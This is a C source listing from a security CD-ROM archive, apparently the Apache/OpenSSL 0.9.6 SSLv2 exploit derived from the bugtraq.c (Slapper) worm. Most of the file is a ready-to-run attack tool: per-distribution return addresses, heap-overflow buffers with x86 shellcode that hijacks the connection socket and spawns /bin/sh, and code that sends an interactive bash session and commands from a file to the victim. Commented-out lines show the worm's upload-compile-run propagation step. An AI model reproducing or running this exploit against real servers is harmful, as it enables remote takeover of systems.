home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / apache / apache-ssl-bug.c < prev    next >
Encoding:
C/C++ Source or Header  |  2005-02-12  |  19.0 KB  |  797 lines
  1. /*
  2.  *
  3.  * Linux Apache + OpenSSL exploit
  4.  *
  5.  * created by andy^ from the bugtraq.c source
  6.  *
  7.  * compile: gcc -lcrypto -o apache-ssl-bug apache-ssl-bug.c
  8.  *
  9.  * Option -i specifies the file containing the commands to be
  10.  * run on the remote host.
  11.  *
  12.  */
  13.  
  14. #include <stdio.h>
  15. #include <unistd.h>
  16. #include <string.h>
  17. #include <fcntl.h>
  18. #include <stdlib.h>
  19. #include <stdarg.h>
  20. #include <sys/ioctl.h>
  21. #include <sys/types.h>
  22. #include <sys/socket.h>
  23. #include <netinet/in.h>
  24. #include <sys/time.h>
  25. #include <unistd.h>
  26. #include <errno.h>
  27. #include <netdb.h>
  28. #include <arpa/telnet.h>
  29. #include <sys/wait.h>
  30. #include <signal.h>
  31.  
  32. #define SCAN
  33. #undef LARGE_NET
  34. #undef FREEBSD
  35.  
  36. #define BROADCASTS    2
  37. #define LINKS        128
  38. #define CLIENTS        128
  39. #define PORT        2002
  40. #define SCANPORT    80
  41. #define SCANTIMEOUT    5
  42. #define MAXPATH        4096
  43. #define ESCANPORT    10100
  44. #define VERSION        12092002
  45.  
  46. //////////////////////////////////////////////////////////////////////////////////////
  47. //                                  Macros                                          //
  48. //////////////////////////////////////////////////////////////////////////////////////
  49.  
  50. #define FREE(x) {if (x) { free(x);x=NULL; }}
  51. #define DEBUG(x) {if (debug) { printf("DEBUG: %s\n",x); }}
  52.  
  53. unsigned long numlinks, *links=NULL, myip=0;
  54. unsigned long sequence[LINKS], rsa[LINKS];
  55. unsigned int *pids=NULL;
  56. unsigned long numpids=0;
  57. unsigned long uptime=0, in=0, out=0;
  58. unsigned long synctime=0;
  59. int debug=0;
  60. int port=443;
  61. int arch=-1;
  62. char *filename=NULL;
  63.  
  64. //////////////////////////////////////////////////////////////////////////////////////
  65. //                               Public routines                                    //
  66. //////////////////////////////////////////////////////////////////////////////////////
  67.  
  68. #include <openssl/ssl.h>
  69. #include <openssl/rsa.h>
  70. #include <openssl/x509.h>
  71. #include <openssl/evp.h>
  72.  
  73. void cleanup(char *buf) {
  74.     while(buf[strlen(buf)-1] == '\n' || buf[strlen(buf)-1] == '\r' || buf[strlen(buf)-1] == ' ') buf[strlen(buf)-1] = 0;
  75.         while(*buf == '\n' || *buf == '\r' || *buf == ' ') {
  76.                 unsigned long i;
  77.                 for (i=strlen(buf)+1;i>0;i--) buf[i-1]=buf[i];
  78.         }
  79. }
  80.  
  81. char *GetAddress(long ip) {
  82.     struct sockaddr_in sin;
  83.     fd_set fds;
  84.     int n,d,sock;
  85.     char buf[1024];
  86.     struct timeval tv;
  87.     sock = socket(PF_INET, SOCK_STREAM, 0);
  88.     sin.sin_family = PF_INET;
  89.     sin.sin_addr.s_addr = ip;
  90.     sin.sin_port = htons(80);
  91.     if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) != 0) return NULL;
  92.     write(sock,"GET / HTTP/1.1\r\n\r\n",strlen("GET / HTTP/1.1\r\n\r\n"));
  93.     tv.tv_sec = 15;
  94.     tv.tv_usec = 0;
  95.     FD_ZERO(&fds);
  96.     FD_SET(sock, &fds);
  97.     memset(buf, 0, sizeof(buf));
  98.     if(select(sock + 1, &fds, NULL, NULL, &tv) > 0) {
  99.         if(FD_ISSET(sock, &fds)) {
  100.             if((n = read(sock, buf, sizeof(buf) - 1)) < 0) return NULL;
  101.             for (d=0;d<n;d++) if (!strncmp(buf+d,"Server: ",strlen("Server: "))) {
  102.                 char *start=buf+d+strlen("Server: ");
  103.                 for (d=0;d<strlen(start);d++) if (start[d] == '\n') start[d]=0;
  104.                 cleanup(start);
  105.                 return strdup(start);
  106.             }
  107.         }
  108.     }
  109.     return NULL;
  110. }
  111.  
  112. int writem(int sock, char *str) {
  113.     return write(sock,str,strlen(str));
  114. }
  115.  
  116. char readbuf[1025];
  117.  
  118. int readm(int sock) {
  119.     bzero(readbuf,sizeof(readbuf));
  120.     return read(sock,readbuf,1024);
  121. }
  122.  
  123.  
  124. #define MAX_ARCH 21
  125.  
  126. struct archs {
  127.     char *os;
  128.     char *apache;
  129.     int func_addr;
  130. } architectures[] = {
  131.     {"Gentoo", "", 0x08086c34},
  132.     {"Debian", "1.3.26", 0x080863cc},
  133.     {"Red-Hat", "1.3.6", 0x080707ec},
  134.     {"Red-Hat", "1.3.9", 0x0808ccc4},
  135.     {"Red-Hat", "1.3.12", 0x0808f614},
  136.     {"Red-Hat", "1.3.12", 0x0809251c},
  137.     {"Red-Hat", "1.3.19", 0x0809af8c},
  138.     {"Red-Hat", "1.3.20", 0x080994d4},
  139.     {"Red-Hat", "1.3.26", 0x08161c14},
  140.     {"Red-Hat", "1.3.23", 0x0808528c},
  141.     {"Red-Hat", "1.3.22", 0x0808400c},
  142.     {"SuSE", "1.3.12", 0x0809f54c},
  143.     {"SuSE", "1.3.17", 0x08099984},
  144.     {"SuSE", "1.3.19", 0x08099ec8},
  145.     {"SuSE", "1.3.20", 0x08099da8},
  146.     {"SuSE", "1.3.23", 0x08086168},
  147.     {"SuSE", "1.3.23", 0x080861c8},
  148.     {"Mandrake", "1.3.14", 0x0809d6c4},
  149.     {"Mandrake", "1.3.19", 0x0809ea98},
  150.     {"Mandrake", "1.3.20", 0x0809e97c},
  151.     {"Mandrake", "1.3.23", 0x08086580},
  152.     {"Slackware", "1.3.26", 0x083d37fc},
  153.     {"Slackware", "1.3.26",0x080b2100}
  154. };
  155.  
  156. extern int errno;
  157.  
  158. int cipher;
  159. int ciphers;
  160.  
  161. #define FINDSCKPORTOFS       208 + 12 + 46
  162.  
  163. unsigned char overwrite_session_id_length[] =
  164.     "AAAA"
  165.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  166.     "\x70\x00\x00\x00";
  167.  
  168. unsigned char overwrite_next_chunk[] =
  169.     "AAAA"
  170.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  171.     "AAAA"
  172.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  173.     "AAAA"
  174.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  175.     "AAAA"
  176.     "\x00\x00\x00\x00"
  177.     "\x00\x00\x00\x00"
  178.     "AAAA"
  179.     "\x01\x00\x00\x00"
  180.     "AAAA"
  181.     "AAAA"
  182.     "AAAA"
  183.     "\x00\x00\x00\x00"
  184.     "AAAA"
  185.     "\x00\x00\x00\x00"
  186.     "\x00\x00\x00\x00\x00\x00\x00\x00"
  187.     "AAAAAAAA"
  188.  
  189.     "\x00\x00\x00\x00"
  190.     "\x11\x00\x00\x00"
  191.     "fdfd"
  192.     "bkbk"
  193.     "\x10\x00\x00\x00"
  194.     "\x10\x00\x00\x00"
  195.  
  196.     "\xeb\x0a\x90\x90"
  197.     "\x90\x90\x90\x90"
  198.     "\x90\x90\x90\x90"
  199.  
  200.     "\x31\xdb"
  201.     "\x89\xe7"
  202.     "\x8d\x77\x10"
  203.     "\x89\x77\x04"
  204.     "\x8d\x4f\x20"
  205.     "\x89\x4f\x08"
  206.     "\xb3\x10"
  207.     "\x89\x19"
  208.     "\x31\xc9"
  209.     "\xb1\xff"
  210.     "\x89\x0f"
  211.     "\x51"
  212.     "\x31\xc0"
  213.     "\xb0\x66"
  214.     "\xb3\x07"
  215.     "\x89\xf9"
  216.     "\xcd\x80"
  217.     "\x59"
  218.     "\x31\xdb"
  219.     "\x39\xd8"
  220.     "\x75\x0a"
  221.     "\x66\xb8\x12\x34"
  222.     "\x66\x39\x46\x02"
  223.     "\x74\x02"
  224.     "\xe2\xe0"
  225.     "\x89\xcb"
  226.     "\x31\xc9"
  227.     "\xb1\x03"
  228.     "\x31\xc0"
  229.     "\xb0\x3f"
  230.     "\x49"
  231.     "\xcd\x80"
  232.     "\x41"
  233.     "\xe2\xf6"
  234.  
  235.     "\x31\xc9"
  236.     "\xf7\xe1"
  237.     "\x51"
  238.     "\x5b"
  239.     "\xb0\xa4"
  240.     "\xcd\x80"
  241.  
  242.     "\x31\xc0"
  243.     "\x50"
  244.     "\x68""//sh"
  245.     "\x68""/bin"
  246.     "\x89\xe3"
  247.     "\x50"
  248.     "\x53"
  249.     "\x89\xe1"
  250.     "\x99"
  251.     "\xb0\x0b"
  252.     "\xcd\x80";
  253.  
  254. #define BUFSIZE 16384
  255. #define CHALLENGE_LENGTH 16
  256. #define RC4_KEY_LENGTH 16
  257. #define RC4_KEY_MATERIAL_LENGTH (RC4_KEY_LENGTH*2)
  258. #define n2s(c,s)    ((s=(((unsigned int)(c[0]))<< 8)| (((unsigned int)(c[1]))     )),c+=2)
  259. #define s2n(s,c)    ((c[0]=(unsigned char)(((s)>> 8)&0xff), c[1]=(unsigned char)(((s)     )&0xff)),c+=2)
  260.  
  261. typedef struct {
  262.     int sock;
  263.     unsigned char challenge[CHALLENGE_LENGTH];
  264.     unsigned char master_key[RC4_KEY_LENGTH];
  265.     unsigned char key_material[RC4_KEY_MATERIAL_LENGTH];
  266.     int conn_id_length;
  267.     unsigned char conn_id[SSL2_MAX_CONNECTION_ID_LENGTH];
  268.     X509 *x509;
  269.     unsigned char* read_key;
  270.     unsigned char* write_key;
  271.     RC4_KEY* rc4_read_key;
  272.     RC4_KEY* rc4_write_key;
  273.     int read_seq;
  274.     int write_seq;
  275.     int encrypted;
  276. } ssl_conn;
  277.  
  278. long getip(char *hostname) {
  279.     struct hostent *he;
  280.     long ipaddr;
  281.     if ((ipaddr = inet_addr(hostname)) < 0) {
  282.         if ((he = gethostbyname(hostname)) == NULL) exit(-1);
  283.         memcpy(&ipaddr, he->h_addr, he->h_length);
  284.     }    
  285.     return ipaddr;
  286. }
  287.  
  288. int sh(int sockfd) {
  289.     char localip[256], rcv[1024];
  290.     fd_set rset;
  291.     int maxfd, n;
  292.     FILE *f;
  293.     char s[256];
  294.  
  295.     alarm(3600);
  296.     DEBUG("Sending data");
  297.     writem(sockfd,"TERM=xterm; export TERM=xterm; exec bash -i\n");
  298.     /*    writem(sockfd,"rm -rf /tmp/.bugtraq.c;cat > /tmp/.uubugtraq << __eof__;\n");
  299.     encode(sockfd);
  300.     writem(sockfd,"__eof__\n");
  301.     conv(localip,256,myip);
  302.     memset(rcv,0,1024);
  303.     sprintf(rcv,"/usr/bin/uudecode -o /tmp/.bugtraq.c /tmp/.uubugtraq;gcc -o /tmp/.bugtraq /tmp/.bugtraq.c -lcrypto;/tmp/.bugtraq %s;exit;\n",localip);
  304.     writem(sockfd,rcv);*/
  305.     if((f=fopen(filename,"rt"))!=NULL){
  306.         bzero(s,256);
  307.         while(!feof(f)){
  308.             if(fgets(s,255,f)){
  309.                 DEBUG(s);
  310.                 writem(sockfd,s);
  311.             }
  312.         }
  313.         fclose(f);
  314.     }
  315.     readm(sockfd);
  316.     printf("%s",readbuf);
  317.     DEBUG("Data sent");
  318. /*    for (;;) {
  319.         FD_ZERO(&rset);
  320.         FD_SET(sockfd, &rset);
  321.         select(sockfd+1, &rset, NULL, NULL, NULL);
  322.         if (FD_ISSET(sockfd, &rset))
  323.             bzero(rcv,sizeof(rcv));
  324.             if ((n = read(sockfd, rcv, sizeof(rcv))) == 0){
  325.                 return 0;
  326.             } else {
  327.                 printf("%s",rcv);
  328.             }
  329.     }*/
  330.     return 0;
  331. }
  332.  
  333. int get_local_port(int sock) {
  334.     struct sockaddr_in s_in;
  335.     unsigned int namelen = sizeof(s_in);
  336.     if (getsockname(sock, (struct sockaddr *)&s_in, &namelen) < 0) return 1;
  337.     return s_in.sin_port;
  338. }
  339.  
  340. int connect_host(long host, int port) {
  341.     struct sockaddr_in s_in;
  342.     int sock;
  343.     s_in.sin_family = AF_INET;
  344.     s_in.sin_addr.s_addr = host;
  345.     s_in.sin_port = htons(port);
  346.     if ((sock = socket(AF_INET, SOCK_STREAM, 0)) <= 0) return 1;
  347.     alarm(60);
  348.     if (connect(sock, (struct sockaddr *)&s_in, sizeof(s_in)) < 0) return 1;
  349.     alarm(0);
  350.     return sock;
  351. }
  352.  
  353. ssl_conn* ssl_connect_host(long host, int port) {
  354.     ssl_conn* ssl;
  355.     if (!(ssl = (ssl_conn*) malloc(sizeof(ssl_conn)))) return NULL;
  356.     ssl->encrypted = 0;
  357.     ssl->write_seq = 0;
  358.     ssl->read_seq = 0;
  359.     ssl->sock = connect_host(host, port);
  360.     return ssl;
  361. }
  362.  
  363. char res_buf[30];
  364.  
  365. int read_data(int sock, unsigned char* buf, int len) {
  366.     int l;
  367.     int to_read = len;
  368.     do {
  369.         if ((l = read(sock, buf, to_read)) < 0) return 1;
  370.         to_read -= len;
  371.     } while (to_read > 0);
  372.     return len;
  373. }
  374.  
  375. int read_ssl_packet(ssl_conn* ssl, unsigned char* buf, int buf_size) {
  376.     int rec_len, padding;
  377.     read_data(ssl->sock, buf, 2);
  378.     if ((buf[0] & 0x80) == 0) {
  379.         rec_len = ((buf[0] & 0x3f) << 8) | buf[1];
  380.         read_data(ssl->sock, &buf[2], 1);
  381.         padding = (int)buf[2];
  382.     }
  383.     else {
  384.         rec_len = ((buf[0] & 0x7f) << 8) | buf[1];
  385.         padding = 0;
  386.     }
  387.     if ((rec_len <= 0) || (rec_len > buf_size)) return 1;
  388.     read_data(ssl->sock, buf, rec_len);
  389.     if (ssl->encrypted) {
  390.         if (MD5_DIGEST_LENGTH + padding >= rec_len) {
  391.             if ((buf[0] == SSL2_MT_ERROR) && (rec_len == 3)) return 0;
  392.             else return 1;
  393.         }
  394.         RC4(ssl->rc4_read_key, rec_len, buf, buf);
  395.         rec_len = rec_len - MD5_DIGEST_LENGTH - padding;
  396.         memmove(buf, buf + MD5_DIGEST_LENGTH, rec_len);
  397.     }
  398.     if (buf[0] == SSL2_MT_ERROR) {
  399.         if (rec_len != 3) return 1;
  400.         else return 0;
  401.     }
  402.     return rec_len;
  403. }
  404.  
  405. int send_ssl_packet(ssl_conn* ssl, unsigned char* rec, int rec_len) {
  406.     unsigned char buf[BUFSIZE];
  407.     unsigned char* p;
  408.     int tot_len;
  409.     MD5_CTX ctx;
  410.     int seq;
  411.     if (ssl->encrypted) tot_len = rec_len + MD5_DIGEST_LENGTH;
  412.     else tot_len = rec_len;
  413.  
  414.     if (2 + tot_len > BUFSIZE) {
  415.         DEBUG("sens_ssl_packet: packet larger than BUFSIZE");
  416.         return 1;
  417.     }
  418.  
  419.     p = buf;
  420.     s2n(tot_len, p);
  421.  
  422.     buf[0] = buf[0] | 0x80;
  423.  
  424.     if (ssl->encrypted) {
  425.         seq = ntohl(ssl->write_seq);
  426.  
  427.         MD5_Init(&ctx);
  428.         MD5_Update(&ctx, ssl->write_key, RC4_KEY_LENGTH);
  429.         MD5_Update(&ctx, rec, rec_len);
  430.         MD5_Update(&ctx, &seq, 4);
  431.         MD5_Final(p, &ctx);
  432.  
  433.         p+=MD5_DIGEST_LENGTH;
  434.  
  435.         memcpy(p, rec, rec_len);
  436.  
  437.         RC4(ssl->rc4_write_key, tot_len, &buf[2], &buf[2]);
  438.     }
  439.     else memcpy(p, rec, rec_len);
  440.  
  441.     send(ssl->sock, buf, 2 + tot_len, 0);
  442.  
  443.     ssl->write_seq++;
  444.     return 0;
  445. }
  446.  
  447. int send_client_hello(ssl_conn *ssl) {
  448.     int i;
  449.     unsigned char buf[BUFSIZE] =
  450.         "\x01"
  451.         "\x00\x02"
  452.         "\x00\x18"
  453.         "\x00\x00"
  454.         "\x00\x10"
  455.         "\x07\x00\xc0\x05\x00\x80\x03\x00"
  456.         "\x80\x01\x00\x80\x08\x00\x80\x06"
  457.         "\x00\x40\x04\x00\x80\x02\x00\x80"
  458.         "";
  459.     for (i = 0; i < CHALLENGE_LENGTH; i++) ssl->challenge[i] = (unsigned char) (rand() >> 24);
  460.     memcpy(&buf[33], ssl->challenge, CHALLENGE_LENGTH);
  461.     if(send_ssl_packet(ssl, buf, 33 + CHALLENGE_LENGTH)) return 1;
  462.     return 0;
  463. }
  464.  
  465. int get_server_hello(ssl_conn* ssl) {
  466.     unsigned char buf[BUFSIZE];
  467.     unsigned char *p, *end;
  468.     int len;
  469.     int server_version, cert_length, cs_length, conn_id_length;
  470.     int found;
  471.  
  472.     if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) return 1;
  473.     if (len < 11) return 1;
  474.  
  475.     p = buf;
  476.  
  477.     if (*(p++) != SSL2_MT_SERVER_HELLO) return 1;
  478.     if (*(p++) != 0) return 1;
  479.     if (*(p++) != 1) return 1;
  480.     n2s(p, server_version);
  481.     if (server_version != 2) return 1;
  482.  
  483.     n2s(p, cert_length);
  484.     n2s(p, cs_length);
  485.     n2s(p, conn_id_length);
  486.  
  487.     if (len != 11 + cert_length + cs_length + conn_id_length) return 1;
  488.     ssl->x509 = NULL;
  489.     ssl->x509=d2i_X509(NULL,&p,(long)cert_length);
  490.     if (ssl->x509 == NULL) return 1;
  491.     if (cs_length % 3 != 0) return 1;
  492.  
  493.     found = 0;
  494.     for (end=p+cs_length; p < end; p += 3) if ((p[0] == 0x01) && (p[1] == 0x00) && (p[2] == 0x80)) found = 1;
  495.  
  496.     if (!found) return 1;
  497.  
  498.     if (conn_id_length > SSL2_MAX_CONNECTION_ID_LENGTH) return 1;
  499.  
  500.     ssl->conn_id_length = conn_id_length;
  501.     memcpy(ssl->conn_id, p, conn_id_length);
  502.     return 0;
  503. }
  504.  
  505. int send_client_master_key(ssl_conn* ssl, unsigned char* key_arg_overwrite, int key_arg_overwrite_len) {
  506.     int encrypted_key_length, key_arg_length, record_length;
  507.     unsigned char* p;
  508.     int i;
  509.     EVP_PKEY *pkey=NULL;
  510.     unsigned char buf[BUFSIZE] =
  511.         "\x02"
  512.         "\x01\x00\x80"
  513.         "\x00\x00"
  514.         "\x00\x40"
  515.         "\x00\x08";
  516.     p = &buf[10];
  517.     for (i = 0; i < RC4_KEY_LENGTH; i++) ssl->master_key[i] = (unsigned char) (rand() >> 24);
  518.     pkey=X509_get_pubkey(ssl->x509);
  519.     if (!pkey) return 1;
  520.     if (pkey->type != EVP_PKEY_RSA) return 1;
  521.     encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key, &buf[10], pkey->pkey.rsa, RSA_PKCS1_PADDING);
  522.     if (encrypted_key_length <= 0) return 1;
  523.     p += encrypted_key_length;
  524.     if (key_arg_overwrite) {
  525.         for (i = 0; i < 8; i++) *(p++) = (unsigned char) (rand() >> 24);
  526.         memcpy(p, key_arg_overwrite, key_arg_overwrite_len);
  527.         key_arg_length = 8 + key_arg_overwrite_len;
  528.     }
  529.     else key_arg_length = 0;
  530.     p = &buf[6];
  531.     s2n(encrypted_key_length, p);
  532.     s2n(key_arg_length, p);
  533.     record_length = 10 + encrypted_key_length + key_arg_length;
  534.     if(send_ssl_packet(ssl, buf, record_length)) return 1;
  535.     ssl->encrypted = 1;
  536.     return 0;
  537. }
  538.  
  539. void generate_key_material(ssl_conn* ssl) {
  540.     unsigned int i;
  541.     MD5_CTX ctx;
  542.     unsigned char *km;
  543.     unsigned char c='0';
  544.     km=ssl->key_material;
  545.     for (i=0; i<RC4_KEY_MATERIAL_LENGTH; i+=MD5_DIGEST_LENGTH) {
  546.         MD5_Init(&ctx);
  547.         MD5_Update(&ctx,ssl->master_key,RC4_KEY_LENGTH);
  548.         MD5_Update(&ctx,&c,1);
  549.         c++;
  550.         MD5_Update(&ctx,ssl->challenge,CHALLENGE_LENGTH);
  551.         MD5_Update(&ctx,ssl->conn_id, ssl->conn_id_length);
  552.         MD5_Final(km,&ctx);
  553.         km+=MD5_DIGEST_LENGTH;
  554.     }
  555. }
  556.  
  557. void generate_session_keys(ssl_conn* ssl) {
  558.     generate_key_material(ssl);
  559.     ssl->read_key = &(ssl->key_material[0]);
  560.     ssl->rc4_read_key = (RC4_KEY*) malloc(sizeof(RC4_KEY));
  561.     RC4_set_key(ssl->rc4_read_key, RC4_KEY_LENGTH, ssl->read_key);
  562.     ssl->write_key = &(ssl->key_material[RC4_KEY_LENGTH]);
  563.     ssl->rc4_write_key = (RC4_KEY*) malloc(sizeof(RC4_KEY));
  564.     RC4_set_key(ssl->rc4_write_key, RC4_KEY_LENGTH, ssl->write_key);
  565. }
  566.  
  567. int get_server_verify(ssl_conn* ssl) {
  568.     unsigned char buf[BUFSIZE];
  569.     int len;
  570.     if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) return 1;
  571.     if (len != 1 + CHALLENGE_LENGTH) return 1;
  572.     if (buf[0] != SSL2_MT_SERVER_VERIFY) return 1;
  573.     if (memcmp(ssl->challenge, &buf[1], CHALLENGE_LENGTH)) return 1;
  574.     return 0;
  575. }
  576.  
  577. int send_client_finished(ssl_conn* ssl) {
  578.     unsigned char buf[BUFSIZE];
  579.     buf[0] = SSL2_MT_CLIENT_FINISHED;
  580.     memcpy(&buf[1], ssl->conn_id, ssl->conn_id_length);
  581.     if(send_ssl_packet(ssl, buf, 1+ssl->conn_id_length)) return 1;
  582.     return 0;
  583. }
  584.  
  585. int get_server_finished(ssl_conn* ssl) {
  586.     unsigned char buf[BUFSIZE];
  587.     int len;
  588.     int i;
  589.     if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) return 1;
  590.     if (buf[0] != SSL2_MT_SERVER_FINISHED) return 1;
  591.     if (len <= 112) return 1;
  592.     cipher = *(int*)&buf[101];
  593.     ciphers = *(int*)&buf[109];
  594.     return 0;
  595. }
  596.  
  597. int get_server_error(ssl_conn* ssl) {
  598.     unsigned char buf[BUFSIZE];
  599.     int len;
  600.     if ((len = read_ssl_packet(ssl, buf, sizeof(buf))) > 0) return 1;
  601.     return 0;
  602. }
  603.  
  604. int exploit(long ip) {
  605.     int i;
  606.     int N = 20;
  607.     ssl_conn* ssl1;
  608.     ssl_conn* ssl2;
  609.     char *a;
  610.  
  611.     alarm(3600);
  612.     if ((a=GetAddress(ip)) == NULL){
  613.         printf("Could not connect\n");
  614.         return 1;
  615.     }
  616.     if ( (arch == -1) || (arch >= MAX_ARCH) ){
  617.         DEBUG("Checking version");
  618.         if (strncmp(a,"Apache",6)){
  619.             printf("The web server is not Apache\n\n");
  620.             return 1;
  621.         }
  622.         for (i=0;i<MAX_ARCH;i++) {
  623.             if (strstr(a,architectures[i].apache) && strstr(a,architectures[i].os)) {
  624.                 arch=i;
  625.                 break;
  626.             }
  627.         }
  628.     } else {
  629.         i=arch;
  630.     }
  631.     if (arch == -1) arch=9;
  632.     printf("Selected architecture: %s Apache %s (%d)\n",architectures[i].os,architectures[i].apache,arch);
  633.  
  634.     srand(0x31337);
  635.  
  636.     DEBUG("Creating 20 dummy connections");
  637.     for (i=0; i<N; i++) {
  638.         connect_host(ip, port);
  639.         usleep(100000);
  640.     }
  641.     DEBUG("connected");
  642.  
  643.     DEBUG("ssl_connect_host");    
  644.     if((ssl1 = ssl_connect_host(ip, port)) == NULL){
  645.         DEBUG("could not connect ssl1");
  646.         return 1;
  647.     }
  648.     DEBUG("ssl_connect_host");
  649.     if((ssl2 = ssl_connect_host(ip, port)) == NULL){
  650.         DEBUG("could not connect ssl2");
  651.         return 1;
  652.     }
  653.  
  654.     DEBUG("send_client_hello");
  655.     send_client_hello(ssl1);
  656.     DEBUG("get_server_hello");
  657.     if(get_server_hello(ssl1)) return 1;
  658.  
  659.     DEBUG("send_client_master_key");
  660.     if(send_client_master_key(ssl1, overwrite_session_id_length, sizeof(overwrite_session_id_length)-1)) return 1;
  661.     DEBUG("generate_session_keys");
  662.     generate_session_keys(ssl1);
  663.     DEBUG("get_server_verify");
  664.     if(get_server_verify(ssl1)) return 1;
  665.     DEBUG("send_client_finished");
  666.     if(send_client_finished(ssl1)) return 1;
  667.     DEBUG("get_server_finished");
  668.     if(get_server_finished(ssl1)) return 1;
  669.  
  670.     DEBUG("get_local_port");
  671.     port = get_local_port(ssl2->sock);
  672.     DEBUG("overwrite_next_chunk");
  673.     overwrite_next_chunk[FINDSCKPORTOFS] = (char) (port & 0xff);
  674.     DEBUG("overwrite_next_chunk");
  675.     overwrite_next_chunk[FINDSCKPORTOFS+1] = (char) ((port >> 8) & 0xff);
  676.  
  677.     *(int*)&overwrite_next_chunk[156] = cipher;
  678.     *(int*)&overwrite_next_chunk[192] = architectures[arch].func_addr - 12;
  679.     *(int*)&overwrite_next_chunk[196] = ciphers + 16;
  680.  
  681.     DEBUG("send_client_hello");
  682.     send_client_hello(ssl2);
  683.     DEBUG("get_server_hello");
  684.     if(get_server_hello(ssl2)) return 1;
  685.  
  686.     DEBUG("send_client_master_key");
  687.     if(send_client_master_key(ssl2, overwrite_next_chunk, sizeof(overwrite_next_chunk)-1)) return 1;
  688.     DEBUG("generate_session_keys");
  689.     generate_session_keys(ssl2);
  690.     DEBUG("get_server_verify");
  691.     if(get_server_verify(ssl2)) return 1;
  692.  
  693.     for (i = 0; i < ssl2->conn_id_length; i++) ssl2->conn_id[i] = (unsigned char) (rand() >> 24);
  694.  
  695.     DEBUG("send_client_finished");
  696.     if(send_client_finished(ssl2)) return 1;
  697.     DEBUG("get_server_error");
  698.     if(get_server_error(ssl2)) return 1;
  699.  
  700.     DEBUG("sh");
  701.     sh(ssl2->sock);
  702.  
  703.     DEBUG("close");
  704.     close(ssl2->sock);
  705.     close(ssl1->sock);
  706.     return 0;
  707. }
  708.  
  709. //////////////////////////////////////////////////////////////////////////////////////
  710. //////////////////////////////////////////////////////////////////////////////////////
  711. //////////////////////////////////////////////////////////////////////////////////////
  712.  
  713. int main(int argc, char **argv) {
  714.     struct hostent *he;
  715.     int i=0,c;
  716.     struct in_addr in;
  717.  
  718.     printf("\nApache & OpenSSL 0.9.6 Exploit\nMade by andy^ after the bugtraq.c worm\n\n");
  719.     
  720.     if(argc<2){
  721.         printf("Syntax: %s [options] host\n\n",argv[0]);
  722.         printf("Options:\n\n");
  723.         printf("\t-p port\t\tport to connect (default 443)\n");
  724.         printf("\t-v\t\tverbose\n");
  725.         printf("\t-i file\t\tinput file (default ssl2.txt)\n");
  726.         printf("\t-t target\ttarget\n");
  727.         printf("\t\t\t\t0\tAutodetect\n");
  728.         for(i=0;i<MAX_ARCH;i++){
  729.             printf("\t\t\t\t%d\t%s %s\n",i+1,architectures[i].os,architectures[i].apache);
  730.         }
  731.         exit(1);
  732.     }
  733.  
  734.     
  735.     opterr=0;
  736.     while(1){
  737.         c=getopt(argc,argv,":p:vi:t:");
  738.         if(c==-1) break;
  739.         switch(c){
  740.             case 'p':
  741.                 port=atoi(optarg);
  742.                 break;
  743.             case 'v':
  744.                 debug=1;
  745.                 break;
  746.             case 'i':
  747.                 if((filename=strdup(optarg))==NULL){
  748.                     perror("strdup");
  749.                     return 1;
  750.                 }
  751.                 break;
  752.             case 't':
  753.                 arch=atoi(optarg)-1;
  754.                 break;
  755.             case ':':
  756.                 printf("Missing argument for -%c\n",optopt);
  757.                 exit(1);
  758.                 break;
  759.         }
  760.     }
  761.  
  762.     if(filename==NULL){
  763.         if((filename=strdup("ssl2.c"))==NULL){
  764.             perror("strdup");
  765.             return 1;
  766.         }
  767.     }
  768.  
  769.     if(optind >=argc ){
  770.         printf("No hostname specified\n\n");
  771.         return 1;
  772.     }
  773.     
  774.     uptime=time(NULL);
  775.  
  776.     srand(time(NULL)^getpid());
  777.  
  778.     if( (he=gethostbyname(argv[optind])) == NULL ){
  779.         perror("gethostbyname");
  780.         return 1;
  781.     }
  782.     while(he->h_addr_list[i]){
  783.         memcpy(&in.s_addr,he->h_addr_list[i],4);
  784.         printf("Trying to exploit %s\n",inet_ntoa(in));
  785.         if(exploit(in.s_addr)==0){
  786.                printf("DONE\n");
  787.                       return 0;
  788.         } else {
  789.             printf("FAILED\n");
  790.             return 1;
  791.         }
  792.         i++;
  793.     }
  794.     if(filename) free(filename);
  795.     return 0;
  796. }
  797.